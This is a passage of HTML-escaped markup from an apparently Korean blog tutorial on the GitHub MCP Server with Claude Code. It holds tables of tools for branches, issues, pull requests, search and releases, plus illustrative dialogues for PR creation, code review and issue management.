&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;create_branch&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;새 브랜치 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;list_commits&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;커밋 히스토리 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;get_commit&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;특정 커밋 상세 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;이슈 관리&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;list_issues&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;이슈 목록 조회 (필터 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;issue_read&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;특정 이슈 상세 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;issue_write&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;이슈 생성 및 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;add_issue_comment&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;이슈에 댓글 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;list_issue_types&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;이슈 타입 목록 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;get_label&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;레이블 정보 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;assign_copilot_to_issue&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;이슈에 GitHub Copilot 할당&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Pull Request 관리&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;list_pull_requests&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;PR 목록 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;pull_request_read&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;특정 PR 상세 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;create_pull_request&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;새 PR 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;merge_pull_request&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;PR 병합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;pull_request_review_write&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;PR 리뷰 작성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;add_reply_to_pull_request_comment&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;PR 댓글에 답글 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;add_comment_to_pending_review&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;대기 중인 리뷰에 댓글 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;검색&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;search_code&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;GitHub 전체 코드 검색 (GitHub 네이티브 검색 엔진)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;search_repositories&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;리포지토리 검색 (고급 검색 문법 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;search_issues&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;이슈 검색 (GitHub 이슈 검색 문법 사용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;search_pull_requests&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;PR 검색 (GitHub PR 검색 문법 사용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;search_users&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;GitHub 사용자 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;릴리즈 / 사용자 / 기타&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;Tool 이름&lt;/th&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;get_me&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;현재 인증된 사용자 정보 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;list_releases&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;릴리즈 목록 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;get_latest_release&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;최신 릴리즈 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;get_release_by_tag&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;특정 태그 릴리즈 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;list_tags&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;태그 목록 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;get_tag&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;특정 태그 상세 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;get_teams&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;조직 팀 목록 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff; font-family: monospace;&quot;&gt;get_team_members&lt;/td&gt;
&lt;td style=&quot;padding: 9px 15px; border: 1px solid #cce5ff;&quot;&gt;팀 멤버 목록 조회&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; margin: 15px 0; border-radius: 0 8px 8px 0; font-size: 14px;&quot;&gt;&lt;b&gt;참고:&lt;/b&gt; GitHub MCP Server는 지속적으로 업데이트되고 있으며 tool 목록은 버전에 따라 변동될 수 있다. 최신 전체 목록은 &lt;a href=&quot;https://github.com/github/github-mcp-server/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 README&lt;/a&gt;에서 확인한다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 활용 시나리오 &amp;mdash; PR 자동화&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;가장 강력한 활용 사례 중 하나다. 코드 작성부터 PR 생성, 리뷰 요청까지 Claude Code와 대화하면서 처리할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 1: 기능 개발 후 PR 생성&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;단계별 흐름&lt;/b&gt;
&lt;ol style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Claude Code에서 기능 코드 작성 및 로컬 커밋&lt;/li&gt;
&lt;li&gt;GitHub MCP로 새 브랜치 생성&lt;/li&gt;
&lt;li&gt;변경된 파일들을 브랜치에 푸시&lt;/li&gt;
&lt;li&gt;PR 자동 생성 (제목, 본문, 관련 이슈 링크 포함)&lt;/li&gt;
&lt;li&gt;리뷰어 지정 요청 (선택)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- SCREENSHOT: Claude Code에서 PR 생성 요청하는 대화 전체 화면 (사용자 프롬프트 + Claude 응답) --&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; user-auth 기능 개발이 완료됐어. my-org/my-repo에서 feat/user-auth 브랜치를 main에서 새로 만들고, 현재 변경된 파일들을 거기에 올린 다음, PR을 만들어줘. PR 제목: feat: 사용자 인증 기능 추가. 관련 이슈: #42&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 브랜치 생성, 파일 푸시, PR 생성을 순서대로 진행하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;Step 1: &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;create_branch&lt;/code&gt; &amp;rarr; &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;feat/user-auth&lt;/code&gt; (from main) -- 완료&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;Step 2: &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;push_files&lt;/code&gt; &amp;rarr; src/auth.ts, src/middleware.ts, tests/auth.test.ts 3개 파일 커밋 -- 완료&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;Step 3: &lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;create_pull_request&lt;/code&gt; &amp;rarr; PR #93 생성 완료&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;PR이 생성되었습니다:&lt;/p&gt;
&lt;p style=&quot;margin: 0; color: #1a73e8; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PR #93: feat: 사용자 인증 기능 추가&lt;/b&gt;&lt;br /&gt;feat/user-auth &amp;rarr; main | 3 files changed | Closes #42&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code가 내부적으로 다음 순서로 GitHub MCP Tools를 호출한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;less&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;1. create_branch &amp;rarr; feat/user-auth (from main)
2. push_files &amp;rarr; 변경 파일들을 feat/user-auth에 커밋
3. create_pull_request &amp;rarr;
   {
     title: &quot;feat: 사용자 인증 기능 추가&quot;,
     head: &quot;feat/user-auth&quot;,
     base: &quot;main&quot;,
     body: &quot;## 변경 사항\n...\n\nCloses #42&quot;
   }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 2: 코드 리뷰 자동 작성&lt;/h3&gt;
&lt;!-- SCREENSHOT: PR 코드 리뷰 요청 시 Claude가 pull_request_read → get_file_contents → review_write 호출하는 대화 화면 --&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; my-org/my-repo의 PR #87 코드 변경사항을 검토하고 잠재적인 버그나 개선점이 있으면 리뷰 댓글로 작성해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; PR #87을 분석하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;pull_request_read&lt;/code&gt; &amp;rarr; PR #87: &quot;refactor: 결제 로직 분리&quot; (5 files changed, +142 -89)&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;get_file_contents&lt;/code&gt; &amp;rarr; src/payment/processor.ts, src/payment/validator.ts 분석 완료&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;pull_request_review_write&lt;/code&gt; &amp;rarr; 리뷰 작성 완료&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;코드 리뷰를 작성했습니다. 주요 피드백:&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; color: #555; font-size: 14px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;processor.ts:45&lt;/b&gt; &amp;mdash; &lt;code&gt;amount&lt;/code&gt;에 대한 음수 검증이 빠져 있습니다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;validator.ts:23&lt;/b&gt; &amp;mdash; &lt;code&gt;try-catch&lt;/code&gt;에서 에러를 삼키고 있어 디버깅이 어려울 수 있습니다&lt;/li&gt;
&lt;li&gt;전반적으로 관심사 분리가 잘 되었습니다. APPROVE with comments로 작성했습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;pull_request_read&lt;/code&gt;로 변경 파일을 읽고, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;get_file_contents&lt;/code&gt;로 코드를 분석한 뒤, &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;pull_request_review_write&lt;/code&gt;로 리뷰를 작성한다. 리뷰 댓글은 실제 GitHub PR 화면에서 볼 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 활용 시나리오 &amp;mdash; 이슈 관리 자동화&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 3: 버그 리포트 이슈 자동 생성&lt;/h3&gt;
&lt;!-- SCREENSHOT: 버그 리포트 이슈 생성 대화 화면 + 생성된 GitHub 이슈 화면 --&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; 사용자 로그인 시 500 에러가 발생하는 버그가 있어. my-org/my-repo에 버그 리포트 이슈를 만들어줘. 레이블: bug, priority: high&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 버그 리포트 이슈를 생성하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;issue_write&lt;/code&gt; &amp;rarr; Issue #128 생성 완료&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;이슈가 생성되었습니다:&lt;/p&gt;
&lt;div style=&quot;background: #fff; border: 1px solid #d0d7de; border-radius: 6px; padding: 12px 16px; margin: 4px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;#128: [Bug] 로그인 시 500 Internal Server Error 발생&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background: #d73a4a; color: white; padding: 2px 8px; border-radius: 12px; font-size: 12px;&quot;&gt;bug&lt;/span&gt; &lt;span style=&quot;background: #e99695; color: white; padding: 2px 8px; border-radius: 12px; font-size: 12px; margin-left: 4px;&quot;&gt;priority: high&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 8px 0 0 0; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;재현 단계, 예상 동작, 실제 동작이 구조화된 형태로 작성됨&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;issue_write&lt;/code&gt;를 호출해서 제목, 재현 단계, 예상 동작, 실제 동작이 구조화된 이슈를 자동으로 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 4: 미해결 이슈 분석 및 우선순위 정리&lt;/h3&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; my-org/my-repo의 open 상태 이슈 목록을 가져와서 심각도 순으로 정리해서 보여줘. 각 이슈별로 예상 수정 난이도도 평가해줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 이슈 목록을 조회하고 분석하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;list_issues&lt;/code&gt; &amp;rarr; open 이슈 12개 조회 완료&lt;/p&gt;
&lt;div style=&quot;background: #fff; border: 1px solid #d0d7de; border-radius: 6px; padding: 12px 16px; margin: 4px 0; font-size: 13px;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;border-bottom: 1px solid #eee;&quot;&gt;
